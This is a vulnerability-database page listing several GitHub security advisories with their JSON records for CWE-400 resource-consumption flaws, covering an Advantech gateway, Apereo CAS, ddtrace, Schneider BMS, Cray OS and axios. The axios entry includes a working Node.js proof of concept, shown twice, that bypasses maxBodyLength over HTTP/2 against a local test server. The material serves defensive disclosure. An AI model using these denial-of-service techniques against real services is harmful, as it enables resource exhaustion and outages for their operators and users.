CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
6485 vulnerabilities reference this CWE, most recent first.
GHSA-MVV7-VR4G-XVMV
Vulnerability from github – Published: 2026-09-16 15:31 – Updated: 2026-09-16 15:31Nozomi Networks Labs identified a CWE-400: Uncontrolled Resource Consumption vulnerability in the OPC UA gateway component of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows an adjacent unauthenticated attacker to exhaust the server session pool and cause a complete denial of service to all legitimate OPC UA clients by opening multiple anonymous sessions.
{
"affected": [],
"aliases": [
"CVE-2026-73175"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-16T13:18:06Z",
"severity": "HIGH"
},
"details": "Nozomi Networks Labs identified a CWE-400: Uncontrolled Resource Consumption vulnerability in the OPC UA gateway component of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows an adjacent unauthenticated attacker to exhaust the server session pool and cause a complete denial of service to all legitimate OPC UA clients by opening multiple anonymous sessions.",
"id": "GHSA-mvv7-vr4g-xvmv",
"modified": "2026-09-16T15:31:09Z",
"published": "2026-09-16T15:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73175"
},
{
"type": "WEB",
"url": "https://advcloudfiles.advantech.com/cms/5dafee28-ad53-4d07-a328-7896fcc24b6e/Security%20Advisory%20PDF%20File/SECURITY-ADVISORY----EKI-1242IEIMS-updated-20260904.pdf"
},
{
"type": "WEB",
"url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2026-73175"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MVWQ-HCRJ-F5X9
Vulnerability from github – Published: 2025-04-27 21:34 – Updated: 2025-04-28 20:54A vulnerability was found in Apereo CAS 5.2.6. It has been declared as problematic. This vulnerability affects unknown code of the file cas-5.2.6\core\cas-server-core-configuration-metadata-repository\src\main\java\org\apereo\cas\metadata\rest\CasConfigurationMetadataServerController.java. The manipulation of the argument Name leads to inefficient regular expression complexity. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apereo.cas:cas-server-core-configuration-metadata-repository"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-3986"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-28T20:54:43Z",
"nvd_published_at": "2025-04-27T21:15:16Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in Apereo CAS 5.2.6. It has been declared as problematic. This vulnerability affects unknown code of the file cas-5.2.6\\core\\cas-server-core-configuration-metadata-repository\\src\\main\\java\\org\\apereo\\cas\\metadata\\rest\\CasConfigurationMetadataServerController.java. The manipulation of the argument Name leads to inefficient regular expression complexity. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-mvwq-hcrj-f5x9",
"modified": "2025-04-28T20:54:43Z",
"published": "2025-04-27T21:34:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3986"
},
{
"type": "PACKAGE",
"url": "https://github.com/apereo/cas"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.306322"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.306322"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.557473"
},
{
"type": "WEB",
"url": "https://wx.mail.qq.com/s?k=rk-m8GwRMVMcOjBY1a"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Apereo CAS has inefficient regular expression complexity"
}
GHSA-MW54-J2V2-42HR
Vulnerability from github – Published: 2026-07-15 22:55 – Updated: 2026-07-15 22:55Impact
Datadog tracing libraries that implement W3C baggage propagation parse incoming baggage HTTP headers without enforcing item-count or byte-size limits on the extract path. The DD_TRACE_BAGGAGE_MAX_ITEMS (default 64) and DD_TRACE_BAGGAGE_MAX_BYTES (default 8192) limits were applied only to baggage injection, not extraction. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs (or a single very large value). The tracer allocates a hash-map entry for each pair on every request, causing unbounded CPU and memory consumption and enabling a remote Denial of Service against any HTTP service that has the baggage propagation style enabled. The baggage propagation style is enabled by default in most affected tracers, so any internet-facing service that has been instrumented with an affected tracer version is exposed unless the propagation style has been explicitly narrowed.
Patches
This is resolved in version 4.8.2 and later of the dd-trace-py library
Workarounds
If users cannot upgrade immediately:
1. Disable baggage extraction by removing baggage from DD_TRACE_PROPAGATION_STYLE (or DD_TRACE_PROPAGATION_STYLE_EXTRACT if set independently).
2. Cap the maximum HTTP request header size at an upstream proxy or web server (for example, Apache LimitRequestFieldSize, Nginx large_client_header_buffers, Envoy max_request_headers_kb).
Resources
Related upstream advisories: opentelemetry-go GHSA-mh2q-q3fh-2475 opentelemetry-dotnet GHSA-g94r-2vxg-569j
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ddtrace"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.8.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50271"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-15T22:55:24Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\nDatadog tracing libraries that implement W3C baggage propagation parse incoming baggage HTTP headers without enforcing item-count or byte-size limits on the extract path. The DD_TRACE_BAGGAGE_MAX_ITEMS (default 64) and DD_TRACE_BAGGAGE_MAX_BYTES (default 8192) limits were applied only to baggage injection, not extraction. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs (or a single very large value). The tracer allocates a hash-map entry for each pair on every request, causing unbounded CPU and memory consumption and enabling a remote Denial of Service against any HTTP service that has the baggage propagation style enabled.\nThe baggage propagation style is enabled by default in most affected tracers, so any internet-facing service that has been instrumented with an affected tracer version is exposed unless the propagation style has been explicitly narrowed.\n\n### Patches\nThis is resolved in version 4.8.2 and later of the `dd-trace-py` library\n\n### Workarounds\nIf users cannot upgrade immediately:\n1. Disable `baggage` extraction by removing `baggage` from `DD_TRACE_PROPAGATION_STYLE` (or `DD_TRACE_PROPAGATION_STYLE_EXTRACT` if set independently).\n2. Cap the maximum HTTP request header size at an upstream proxy or web server (for example, Apache `LimitRequestFieldSize`, Nginx `large_client_header_buffers`, Envoy `max_request_headers_kb`).\n\n\n### Resources\nRelated upstream advisories:\n[opentelemetry-go GHSA-mh2q-q3fh-2475](https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-mh2q-q3fh-2475)\n[opentelemetry-dotnet GHSA-g94r-2vxg-569j](https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-g94r-2vxg-569j)",
"id": "GHSA-mw54-j2v2-42hr",
"modified": "2026-07-15T22:55:24Z",
"published": "2026-07-15T22:55:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/DataDog/dd-trace-py/security/advisories/GHSA-mw54-j2v2-42hr"
},
{
"type": "PACKAGE",
"url": "https://github.com/DataDog/dd-trace-py"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "dd-trace-py: Improper parsing of W3C baggage headers may lead to DoS"
}
GHSA-MWCM-QXP3-WWJ9
Vulnerability from github – Published: 2025-08-20 15:31 – Updated: 2025-08-20 15:31CWE-400: Uncontrolled Resource Consumption vulnerability exists that could cause a denial of service when an authenticated user sends a specially crafted request to a specific endpoint from within the BMS network.
{
"affected": [],
"aliases": [
"CVE-2025-8449"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-20T14:15:48Z",
"severity": "MODERATE"
},
"details": "CWE-400: Uncontrolled Resource Consumption vulnerability exists that could cause a denial of service when an authenticated user sends a specially crafted request to a specific endpoint from within the BMS network.",
"id": "GHSA-mwcm-qxp3-wwj9",
"modified": "2025-08-20T15:31:42Z",
"published": "2025-08-20T15:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8449"
},
{
"type": "WEB",
"url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-224-04\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2025-224-04.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:H/AT:N/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MWF2-3PR3-8698
Vulnerability from github – Published: 2026-07-20 22:37 – Updated: 2026-09-01 18:36Summary
Axios versions with Node.js HTTP/2 support allow streamed request bodies to bypass maxBodyLength enforcement when requests are sent with httpVersion: 2.
This affects applications that rely on maxBodyLength as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.
Impact
An attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured maxBodyLength limit.
Practical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.
Browser adapters are not affected. Axios calls using the default unlimited maxBodyLength: -1 do not cross this specific configured-limit boundary.
Affected Functionality
Affected calls require all of the following:
- Node.js HTTP adapter.
httpVersion: 2.- Request
datasupplied as a stream. - A finite
maxBodyLength. - Attacker-controlled or attacker-influenced stream contents.
Unaffected or differently affected paths:
- String, Buffer, and ArrayBuffer request bodies are checked before transport selection.
- Browser XHR/fetch adapters are not affected.
- HTTP/1.1 requests using
follow-redirectsenforceoptions.maxBodyLength. - In
axios >=1.15.1, settingmaxRedirects: 0on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams.
Technical Details
In lib/adapters/http.js, axios selects http2Transport whenever httpVersion resolves to 2. The adapter still stores config.maxBodyLength on options.maxBodyLength, but Node’s HTTP/2 request API does not enforce that option.
The stream-level byte-counting wrapper is currently gated on config.maxBodyLength > -1 && config.maxRedirects === 0. For HTTP/2 requests using the default redirect setting, axios does not use follow-redirects and also does not enter this wrapper, so uploadStream.pipe(req) sends the full stream.
Local verification against the current v1.x checkout showed a request with maxBodyLength: 1024 successfully transmitting 2097152 bytes over HTTP/2.
No fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 maxRedirects: 0 path.
Proof of Concept of Attack
import http2 from 'node:http2';
import {Readable} from 'node:stream';
import axios from './index.js';
const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;
const server = http2.createServer();
server.on('stream', (stream) => {
let received = 0;
stream.on('data', (chunk) => {
received += chunk.length;
});
stream.on('end', () => {
stream.respond({':status': 200, 'content-type': 'application/json'});
stream.end(JSON.stringify({received, limit: LIMIT}));
});
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
function makeBody(total) {
const chunk = Buffer.alloc(64 * 1024, 0x41);
let remaining = total;
return new Readable({
read() {
if (remaining <= 0) {
this.push(null);
return;
}
const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);
remaining -= next.length;
this.push(next);
}
});
}
try {
const response = await axios.post(
`http://127.0.0.1:${server.address().port}/upload`,
makeBody(PAYLOAD_BYTES),
{
httpVersion: 2,
maxBodyLength: LIMIT,
headers: {'content-type': 'application/octet-stream'}
}
);
console.log(response.data);
// Vulnerable result: { received: 2097152, limit: 1024 }
} finally {
server.close();
}
Workarounds
For axios >=1.15.1, set maxRedirects: 0 on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.
For earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid httpVersion: 2 for untrusted streamed uploads.### Summary
On Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.
if (isHttp2) {
transport = http2Transport;
} else {
const configTransport = own('transport');
if (configTransport) {
transport = configTransport;
} else if (config.maxRedirects === 0) {
transport = isHttpsRequest ? https : http;
isNativeTransport = true;
} else {
if (config.maxRedirects) {
options.maxRedirects = config.maxRedirects;
}
const configBeforeRedirect = own('beforeRedirect');
if (configBeforeRedirect) {
options.beforeRedirects.config = configBeforeRedirect;
}
transport = isHttpsRequest ? httpsFollow : httpFollow;
}
}
if (config.maxBodyLength > -1) {
options.maxBodyLength = config.maxBodyLength;
} else {
// follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited
options.maxBodyLength = Infinity;
}
// Enforce maxBodyLength for streamed uploads on the native http/https
// transport (maxRedirects === 0); follow-redirects enforces it on the
// other path.
let uploadStream = data;
if (config.maxBodyLength > -1 && config.maxRedirects === 0) {
const limit = config.maxBodyLength;
let bytesSent = 0;
uploadStream = stream.pipeline(
[
data,
new stream.Transform({
transform(chunk, _enc, cb) {
bytesSent += chunk.length;
if (bytesSent > limit) {
return cb(
new AxiosError(
'Request body larger than maxBodyLength limit',
AxiosError.ERR_BAD_REQUEST,
config,
req
)
);
}
cb(null, chunk);
},
}),
],
utils.noop
);
uploadStream.on('error', (err) => {
if (!req.destroyed) req.destroy(err);
});
}
uploadStream.pipe(req);
import http2 from 'node:http2';
import { Readable } from 'node:stream';
import axios from '../../index.js';
const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;
// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an
// `http://...` authority, which mirrors what axios does when the request URL
// uses `http://` and `httpVersion: 2`.
const server = http2.createServer();
server.on('stream', (stream, _headers) => {
let received = 0;
stream.on('data', (chunk) => {
received += chunk.length;
});
stream.on('end', () => {
stream.respond({
':status': 200,
'content-type': 'application/json',
});
stream.end(JSON.stringify({ received, limit: LIMIT }));
});
stream.on('error', () => {
/* swallow client-side aborts */
});
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;
function makeBodyStream(totalBytes) {
const CHUNK = Buffer.alloc(64 * 1024, 0x41);
let remaining = totalBytes;
return new Readable({
read() {
if (remaining <= 0) {
this.push(null);
return;
}
const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);
remaining -= next.length;
this.push(next);
},
});
}
try {
let result;
try {
const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {
httpVersion: 2,
maxBodyLength: LIMIT,
// We intentionally do NOT set maxRedirects: 0 — that flag activates the
// existing HTTP/1 byte-counting wrapper. The bug under test is that the
// HTTP/2 transport path skips that wrapper entirely.
headers: { 'content-type': 'application/octet-stream' },
// Omit content-length so the body is streamed without a known length.
});
result = { status: response.status, data: response.data };
} catch (err) {
result = { error: err && (err.code || err.message) };
}
console.log('--- PoC: HTTP/2 maxBodyLength bypass ---');
console.log('axios result:', JSON.stringify(result));
const ok =
result &&
result.status === 200 &&
result.data &&
typeof result.data === 'object' &&
result.data.received === PAYLOAD_BYTES &&
result.data.limit === LIMIT;
if (ok) {
console.log(
`VULNERABLE: server received ${result.data.received} bytes despite ` +
`maxBodyLength=${LIMIT}.`
);
process.exitCode = 0;
} else {
console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.');
process.exitCode = 1;
}
} finally {
server.close();
// http2 sessions cached by axios may keep the event loop alive; force exit
// after the assertion so the script returns instead of idling on TCP keep-alive.
setImmediate(() => process.exit(process.exitCode || 0));
}
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.13.0"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67318"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T22:37:03Z",
"nvd_published_at": "2026-08-06T22:18:25Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nAxios versions with Node.js HTTP/2 support allow streamed request bodies to bypass `maxBodyLength` enforcement when requests are sent with `httpVersion: 2`.\n\nThis affects applications that rely on `maxBodyLength` as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.\n\n## Impact\n\nAn attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured `maxBodyLength` limit.\n\nPractical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.\n\nBrowser adapters are not affected. Axios calls using the default unlimited `maxBodyLength: -1` do not cross this specific configured-limit boundary.\n\n## Affected Functionality\n\nAffected calls require all of the following:\n\n- Node.js HTTP adapter.\n- `httpVersion: 2`.\n- Request `data` supplied as a stream.\n- A finite `maxBodyLength`.\n- Attacker-controlled or attacker-influenced stream contents.\n\nUnaffected or differently affected paths:\n\n- String, Buffer, and ArrayBuffer request bodies are checked before transport selection.\n- Browser XHR/fetch adapters are not affected.\n- HTTP/1.1 requests using `follow-redirects` enforce `options.maxBodyLength`.\n- In `axios \u003e=1.15.1`, setting `maxRedirects: 0` on affected HTTP/2 upload calls activates axios\u2019 existing stream wrapper and rejects oversized streams.\n\n## Technical Details\n\nIn `lib/adapters/http.js`, axios selects `http2Transport` whenever `httpVersion` resolves to `2`. The adapter still stores `config.maxBodyLength` on `options.maxBodyLength`, but Node\u2019s HTTP/2 request API does not enforce that option.\n\nThe stream-level byte-counting wrapper is currently gated on `config.maxBodyLength \u003e -1 \u0026\u0026 config.maxRedirects === 0`. For HTTP/2 requests using the default redirect setting, axios does not use `follow-redirects` and also does not enter this wrapper, so `uploadStream.pipe(req)` sends the full stream.\n\nLocal verification against the current `v1.x` checkout showed a request with `maxBodyLength: 1024` successfully transmitting `2097152` bytes over HTTP/2.\n\nNo fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 `maxRedirects: 0` path.\n\n## Proof of Concept of Attack\n\n```js\nimport http2 from \u0027node:http2\u0027;\nimport {Readable} from \u0027node:stream\u0027;\nimport axios from \u0027./index.js\u0027;\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http2.createServer();\n\nserver.on(\u0027stream\u0027, (stream) =\u003e {\n let received = 0;\n\n stream.on(\u0027data\u0027, (chunk) =\u003e {\n received += chunk.length;\n });\n\n stream.on(\u0027end\u0027, () =\u003e {\n stream.respond({\u0027:status\u0027: 200, \u0027content-type\u0027: \u0027application/json\u0027});\n stream.end(JSON.stringify({received, limit: LIMIT}));\n });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\n\nfunction makeBody(total) {\n const chunk = Buffer.alloc(64 * 1024, 0x41);\n let remaining = total;\n\n return new Readable({\n read() {\n if (remaining \u003c= 0) {\n this.push(null);\n return;\n }\n\n const next = remaining \u003e= chunk.length ? chunk : chunk.subarray(0, remaining);\n remaining -= next.length;\n this.push(next);\n }\n });\n}\n\ntry {\n const response = await axios.post(\n `http://127.0.0.1:${server.address().port}/upload`,\n makeBody(PAYLOAD_BYTES),\n {\n httpVersion: 2,\n maxBodyLength: LIMIT,\n headers: {\u0027content-type\u0027: \u0027application/octet-stream\u0027}\n }\n );\n\n console.log(response.data);\n // Vulnerable result: { received: 2097152, limit: 1024 }\n} finally {\n server.close();\n}\n```\n\n## Workarounds\n\nFor `axios \u003e=1.15.1`, set `maxRedirects: 0` on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.\n\nFor earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid `httpVersion: 2` for untrusted streamed uploads.### Summary\nOn Node.js, axios\u0027s maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n### Details\nIn lib/adapters/http.js, transport selection is unconditional for HTTP/2:\n\nhttp.js Lines 937-956\n```\n if (isHttp2) {\n transport = http2Transport;\n } else {\n const configTransport = own(\u0027transport\u0027);\n if (configTransport) {\n transport = configTransport;\n } else if (config.maxRedirects === 0) {\n transport = isHttpsRequest ? https : http;\n isNativeTransport = true;\n } else {\n if (config.maxRedirects) {\n options.maxRedirects = config.maxRedirects;\n }\n const configBeforeRedirect = own(\u0027beforeRedirect\u0027);\n if (configBeforeRedirect) {\n options.beforeRedirects.config = configBeforeRedirect;\n }\n transport = isHttpsRequest ? httpsFollow : httpFollow;\n }\n }\n```\n\nmaxBodyLength is then stored on the request options:\n\nhttp.js Lines 958-963\n```\n if (config.maxBodyLength \u003e -1) {\n options.maxBodyLength = config.maxBodyLength;\n } else {\n // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited\n options.maxBodyLength = Infinity;\n }\n```\n\u2026but options.maxBodyLength is only honored by the follow-redirects transport. Node\u0027s native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0:\n\nhttp.js Lines 1270-1304\n```\n // Enforce maxBodyLength for streamed uploads on the native http/https\n // transport (maxRedirects === 0); follow-redirects enforces it on the\n // other path.\n let uploadStream = data;\n if (config.maxBodyLength \u003e -1 \u0026\u0026 config.maxRedirects === 0) {\n const limit = config.maxBodyLength;\n let bytesSent = 0;\n uploadStream = stream.pipeline(\n [\n data,\n new stream.Transform({\n transform(chunk, _enc, cb) {\n bytesSent += chunk.length;\n if (bytesSent \u003e limit) {\n return cb(\n new AxiosError(\n \u0027Request body larger than maxBodyLength limit\u0027,\n AxiosError.ERR_BAD_REQUEST,\n config,\n req\n )\n );\n }\n cb(null, chunk);\n },\n }),\n ],\n utils.noop\n );\n uploadStream.on(\u0027error\u0027, (err) =\u003e {\n if (!req.destroyed) req.destroy(err);\n });\n }\n uploadStream.pipe(req);\n```\n\nFor the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn\u0027t fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded.\n\n### PoC\n```\nimport http2 from \u0027node:http2\u0027;\nimport { Readable } from \u0027node:stream\u0027;\nimport axios from \u0027../../index.js\u0027;\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\n// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an\n// `http://...` authority, which mirrors what axios does when the request URL\n// uses `http://` and `httpVersion: 2`.\nconst server = http2.createServer();\n\nserver.on(\u0027stream\u0027, (stream, _headers) =\u003e {\n let received = 0;\n stream.on(\u0027data\u0027, (chunk) =\u003e {\n received += chunk.length;\n });\n stream.on(\u0027end\u0027, () =\u003e {\n stream.respond({\n \u0027:status\u0027: 200,\n \u0027content-type\u0027: \u0027application/json\u0027,\n });\n stream.end(JSON.stringify({ received, limit: LIMIT }));\n });\n stream.on(\u0027error\u0027, () =\u003e {\n /* swallow client-side aborts */\n });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\nconst port = server.address().port;\n\nfunction makeBodyStream(totalBytes) {\n const CHUNK = Buffer.alloc(64 * 1024, 0x41);\n let remaining = totalBytes;\n return new Readable({\n read() {\n if (remaining \u003c= 0) {\n this.push(null);\n return;\n }\n const next = remaining \u003e= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n remaining -= next.length;\n this.push(next);\n },\n });\n}\n\ntry {\n let result;\n try {\n const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {\n httpVersion: 2,\n maxBodyLength: LIMIT,\n // We intentionally do NOT set maxRedirects: 0 \u2014 that flag activates the\n // existing HTTP/1 byte-counting wrapper. The bug under test is that the\n // HTTP/2 transport path skips that wrapper entirely.\n headers: { \u0027content-type\u0027: \u0027application/octet-stream\u0027 },\n // Omit content-length so the body is streamed without a known length.\n });\n result = { status: response.status, data: response.data };\n } catch (err) {\n result = { error: err \u0026\u0026 (err.code || err.message) };\n }\n\n console.log(\u0027--- PoC: HTTP/2 maxBodyLength bypass ---\u0027);\n console.log(\u0027axios result:\u0027, JSON.stringify(result));\n\n const ok =\n result \u0026\u0026\n result.status === 200 \u0026\u0026\n result.data \u0026\u0026\n typeof result.data === \u0027object\u0027 \u0026\u0026\n result.data.received === PAYLOAD_BYTES \u0026\u0026\n result.data.limit === LIMIT;\n\n if (ok) {\n console.log(\n `VULNERABLE: server received ${result.data.received} bytes despite ` +\n `maxBodyLength=${LIMIT}.`\n );\n process.exitCode = 0;\n } else {\n console.log(\u0027NOT VULNERABLE: axios refused or truncated the oversized stream.\u0027);\n process.exitCode = 1;\n }\n} finally {\n server.close();\n // http2 sessions cached by axios may keep the event loop alive; force exit\n // after the assertion so the script returns instead of idling on TCP keep-alive.\n setImmediate(() =\u003e process.exit(process.exitCode || 0));\n}\n```\n\n### Impact\n- Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads.\n- Bypass of cost/quota guards configured via maxBodyLength against billed upstream services.\n- Resource exhaustion against upstream peers, proxies, and the application\u0027s own connection / memory budget.\n\u003c/details\u003e",
"id": "GHSA-mwf2-3pr3-8698",
"modified": "2026-09-01T18:36:47Z",
"published": "2026-07-20T22:37:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67318"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68948"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11000"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Axios: HTTP/2 streamed uploads bypass `maxBodyLength`"
}
GHSA-MWGR-P983-V4M9
Vulnerability from github – Published: 2025-04-23 00:30 – Updated: 2025-04-23 15:30A vulnerability in the kernel of the Cray Operating System (COS) could allow an attacker to perform a local Denial of Service (DoS) attack.
{
"affected": [],
"aliases": [
"CVE-2025-27087"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-22T22:15:17Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the kernel of the Cray Operating System (COS) could allow an attacker to perform a local Denial of Service (DoS) attack.",
"id": "GHSA-mwgr-p983-v4m9",
"modified": "2025-04-23T15:30:56Z",
"published": "2025-04-23T00:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27087"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbcr04838en_us\u0026docLocale=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MWQ6-FG78-P6CQ
